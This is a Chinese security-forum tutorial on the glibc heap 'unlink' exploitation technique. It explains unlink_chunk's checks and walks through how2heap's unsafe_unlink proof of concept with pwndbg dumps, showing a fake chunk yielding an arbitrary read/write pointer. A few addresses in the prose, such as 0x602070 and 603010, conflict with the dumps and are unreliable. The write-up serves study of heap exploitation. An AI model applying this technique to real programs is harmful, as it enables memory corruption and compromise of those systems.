首页
论坛
专栏
课程

[原创]堆利用之unlink小结

2019-7-31 15:52 2009

[原创]堆利用之unlink小结

2019-7-31 15:52
2009

实验环境

glibc源码:2.29
实验主机:ubuntu 16.04
实验glibc版本:2.23

unlink原理

unlink_chunk函数用于将空闲的chunk从所在的bin中取出.在malloc_consolidate()函数将fastbin中的空闲chunk整理到unsorted_bin时,在malloc()函数将unsorted中的空闲chunk整理到smallbin或者largebin中,以及在malloc()函数获取堆空间时,都有可能调用unlink_chunk().

/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
    //检查chunk的size和next_chunk的prev_size是否一致
    if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");
    mchunkptr fd = p->fd;
    mchunkptr bk = p->bk;
    //检查fd和bk(双向链表完整性)
    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");
    fd->bk = bk;
    bk->fd = fd;
    if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
        //检查largebin中next_size双向链表的完整性
        if (p->fd_nextsize->bk_nextsize != p
        || p->bk_nextsize->fd_nextsize != p)
            malloc_printerr ("corrupted double-linked list (not small)");
        if (fd->fd_nextsize == NULL)
        {
            if (p->fd_nextsize == p)
                fd->fd_nextsize = fd->bk_nextsize = fd;
            else
            {
                fd->fd_nextsize = p->fd_nextsize;
                fd->bk_nextsize = p->bk_nextsize;
                p->fd_nextsize->bk_nextsize = fd;
                p->bk_nextsize->fd_nextsize = fd;
            }
        }
        else
        {
            p->fd_nextsize->bk_nextsize = p->bk_nextsize;
            p->bk_nextsize->fd_nextsize = p->fd_nextsize;
        }
    }
}
  • 因为待脱链空闲chunk p处于双向链表之中,所以有两个地方保存着p的大小,分别是p的size域和后一个chunk的prev_size,首先检查这两个size大小是否一致.

    if (chunksize (p) != prev_size (next_chunk (p)))
            malloc_printerr ("corrupted size vs. prev_size");
    
  • 然后通过fd和bk获得p的前一个空闲chunk和后一个空闲chunk,并对双向链表的完整性进行检查

    mchunkptr fd = p->fd;
    mchunkptr bk = p->bk;
    //检查fd和bk(双向链表完整性)
    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
    
  • 因为p只可能从largebin或者smallbin中脱链,而这两个bin都是双向链表,因此脱链需要分别修改前后chunk的fd或者bk.

    fd->bk = bk;
    bk->fd = fd;
    
  • 如果是smallbin的话这会儿就算是脱链完成了,但对于largebin来说还需要修改fd_nextsize和bk_nextsize.首先是对next_size是否有效的检查

    if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    
  • 接着是对next_size双向链表的完整性检查.

    //检查largebin中next_size双向链表的完整性
    if (p->fd_nextsize->bk_nextsize != p
    || p->bk_nextsize->fd_nextsize != p)
        malloc_printerr ("corrupted double-linked list (not small)");
    
  • 后面的操作比较直观,就不仔细说了.

    if (fd->fd_nextsize == NULL)    
            {
                if (p->fd_nextsize == p)
                    fd->fd_nextsize = fd->bk_nextsize = fd;
                else
                {
                    fd->fd_nextsize = p->fd_nextsize;
                    fd->bk_nextsize = p->bk_nextsize;
                    p->fd_nextsize->bk_nextsize = fd;
                    p->bk_nextsize->fd_nextsize = fd;
                }
            }
            else
            {
                p->fd_nextsize->bk_nextsize = p->bk_nextsize;
                p->bk_nextsize->fd_nextsize = p->fd_nextsize;
            }
    

unlink exploit

  • 通过一个例子来学习一下,这里我选择的是how2heap系列教程的unsafe_unlink(删掉了一些输出语句).接下来写一下具体的调试步骤.

首先编译一下程序,我用的是ubuntu 16.04.

$ gcc -g unsafe_unlink.c -o unsafe_unlink
//unsafe_unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

uint64_t *chunk0_ptr;

int main()
{
    int malloc_size = 0x80; 
    int header_size = 2;

    chunk0_ptr = (uint64_t*) malloc(malloc_size); 
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size);

    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &= ~1;
    chunk0_ptr[1] = malloc_size;

    free(chunk1_ptr);

    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    fprintf(stderr, "Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    fprintf(stderr, "New Value: %s\n",victim_string);
}

先设置断点,然后运行程序.到达断点之后进行单步执行

pwndbg> b main
Breakpoint 1 at 0x4006ae: file unsafe_unlink.c, line 10.
pwndbg> r

程序首先申请两个大小为0x80的chunk

0x602000 PREV_INUSE {
  prev_size = 0,
  size = 145,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x602090 PREV_INUSE {
  prev_size = 0,
  size = 145,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x602120 PREV_INUSE {
  prev_size = 0,
  size = 134881,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
pwndbg> x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000091 <--chunk0
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000000000      0x0000000000000000
0x602060:       0x0000000000000000      0x0000000000000000
0x602070:       0x0000000000000000      0x0000000000000000
0x602080:       0x0000000000000000      0x0000000000000000
0x602090:       0x0000000000000000      0x0000000000000091 <--chunk1
0x6020a0:       0x0000000000000000      0x0000000000000000
0x6020b0:       0x0000000000000000      0x0000000000000000
0x6020c0:       0x0000000000000000      0x0000000000000000
0x6020d0:       0x0000000000000000      0x0000000000000000
0x6020e0:       0x0000000000000000      0x0000000000000000
0x6020f0:       0x0000000000000000      0x0000000000000000
0x602100:       0x0000000000000000      0x0000000000000000
0x602110:       0x0000000000000000      0x0000000000000000
0x602120:       0x0000000000000000      0x0000000000020ee1
0x602130:       0x0000000000000000      0x0000000000000000

假设这个时候存在溢出使得我们可以任意修改chunk0,我们就可以在chunk0之中构造出一个fake chunk.

  • 由上面的源码可知我们有两个检查点需要绕过,第一个检查点就是对双向链表完整性的检查,即fd->bk != p || bk->fd != p.程序中使用了以下代码来绕过这个检查点

    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    

以前刚开始看到这的时候是一脸懵圈的,现在结合具体调试讲一讲.不过在开始具体讲解之前有必要先说一些关于堆的前置知识,熟悉的话可以自行跳过.首先,chunk在内存中的结构是这样的

An allocated chunk looks like this:
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_size() bytes)                      .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             (size of chunk, but used for application data)    |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|1|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Free chunks are stored in circular doubly-linked lists, and look like this:
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |             Size of chunk, in bytes                     |A|0|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Forward pointer to next chunk in list             |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Back pointer to previous chunk in list            |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Unused space (may be 0 bytes long)                .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             Size of chunk, in bytes                           |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|0|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

我们malloc()函数返回的指针就是chunk中的mem.知道了这些以后我们回到程序代码中,chunk0_ptr[2]指向fake chunk中的fd,chunk0_ptr[3]指向fake chunk中的bk.执行前chunk0的结构如下

pwndbg> x/20gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000091    <--chunk0
0x602010:       0x0000000000000000      0x0000000000000000    <--fake chunk
0x602020: 0x0000000000000000 <--chunk0_ptr[2] 0x0000000000000000 <--chunk0_ptr[3]
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000000000      0x0000000000000000
0x602060:       0x0000000000000000      0x0000000000000000
0x602070:       0x0000000000000000      0x0000000000000000
0x602080:       0x0000000000000000      0x0000000000000000
0x602090:       0x0000000000000000      0x0000000000000091

我们的&chunk0_ptr数值为0x602070.(uint64_t) &chunk0_ptr-(sizeof(uint64_t)3)的数值为0x602058,(uint64_t) &chunk0_ptr-(sizeof(uint64_t)3)的数值为0x602060.执行后chunk0的结构如下

pwndbg> x/20gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000091    <--chunk0
0x602010:       0x0000000000000000      0x0000000000000000    <--fake chunk
0x602020: 0x0000000000601058 <--chunk0_ptr[2] 0x0000000000601060 <--chunk0_ptr[3]
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000000000      0x0000000000000000
0x602060:       0x0000000000000000      0x0000000000000000
0x602070:       0x0000000000000000      0x0000000000000000
0x602080:       0x0000000000000000      0x0000000000000000
0x602090:       0x0000000000000000      0x0000000000000091
pwndbg> x/5gx 0x601058
0x601058:       0x0000000000000000      0x00007ffff7dd2540
0x601068 <completed.7594>:      0x0000000000000000      0x0000000000602010
0x601078:       0x0000000000000000
pwndbg> x/5gx 0x601060
0x601060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2540      0x0000000000000000
0x601070 <chunk0_ptr>:  0x0000000000602010      0x0000000000000000
0x601080:       0x0000000000000000

现在,我们的fake chunk->fd为602058,由chunk结构可知,fake chunk->fd->bk为0x602070,其中保存着我们的fake chunk(603010).此时,fake chunk->fd->bk == fake chunk == 602010.同理可知fake chunk->bk->fd == fake chunk == 602010.就这样,我们已经绕过了第一个检查点.

  • 接下来绕过第二个检查点,关于对size的检查即if (chunksize (p) != prev_size (next_chunk (p))).

这个只要利用chunk0的溢出就可以直接修改fake chunk的size以及chunk1的prev_size.另外为了对fake chunk使用unlink,我们还需要修改chunk1的prev_inuse标志位,将fake chunk伪造为一个free chunk.

uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
chunk0_ptr[1] = malloc_size;

执行上述代码之后,chunk0以及chunk1的布局如下

pwndbg> x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000091 <--chunk0
0x602010:       0x0000000000000000      0x0000000000000080 <--fake chunk
0x602020:       0x0000000000601058      0x0000000000601060
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000000000      0x0000000000000000
0x602060:       0x0000000000000000      0x0000000000000000
0x602070:       0x0000000000000000      0x0000000000000000
0x602080:       0x0000000000000000      0x0000000000000000
0x602090:       0x0000000000000080      0x0000000000000090 <--chunk1
0x6020a0:       0x0000000000000000      0x0000000000000000
0x6020b0:       0x0000000000000000      0x0000000000000000
0x6020c0:       0x0000000000000000      0x0000000000000000
0x6020d0:       0x0000000000000000      0x0000000000000000
0x6020e0:       0x0000000000000000      0x0000000000000000
0x6020f0:       0x0000000000000000      0x0000000000000000
0x602100:       0x0000000000000000      0x0000000000000000
0x602110:       0x0000000000000000      0x0000000000000000
0x602120:       0x0000000000000000      0x0000000000020ee1
0x602130:       0x0000000000000000      0x0000000000000000

这样的话,我们去free chunk1,系统会检测到fake chunk也是空闲chunk.然后系统会调用unlink将fake chunk从双向链表中拿出来(虽然这个双向链表是我们自己构建的).unlink过程如下

    fd->bk = bk 相当于 chunk0_ptr = &chunk0_ptr - 16
    bk->fd = fd 相当于 chunk0_ptr = &chunk0_ptr - 24

未执行unlink之前,chunk0_ptr的值是这样的

pwndbg> p chunk0_ptr
$1 = (uint64_t *) 0x602010
pwndbg> p &chunk0_ptr
$2 = (uint64_t **) 0x601070 <chunk0_ptr>

执行unlink之后,原本指向堆上fake chunk的chunk0_ptr指向了自身地址-24的地址.如下

pwndbg> p chunk0_ptr
$3 = (uint64_t *) 0x601058
pwndbg> p &chunk0_ptr
$4 = (uint64_t **) 0x601070 <chunk0_ptr>

现在,chunk0_ptr[3]的值为chunk0_ptr的值,即修改chunk0_ptr[3]就意味着修改chunk0_ptr指针指向的地方,chunk0_ptr成为了一个可以指向任意地址的指针.如果我们可以读取chunk0_ptr[0]的值,就有了任意地址读;如果我们可以写入chunk0_ptr[0],就有了任意地址写.



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-8-6 18:30 被0x2l编辑 ,原因:
最新回复 (2)
剥皮皮虾冠军 2019-7-31 17:23
2
0
mark
0x2l 2019-8-6 18:30
3
0
有一个地址写错了,已修改
游客
登录 | 注册 方可回帖
返回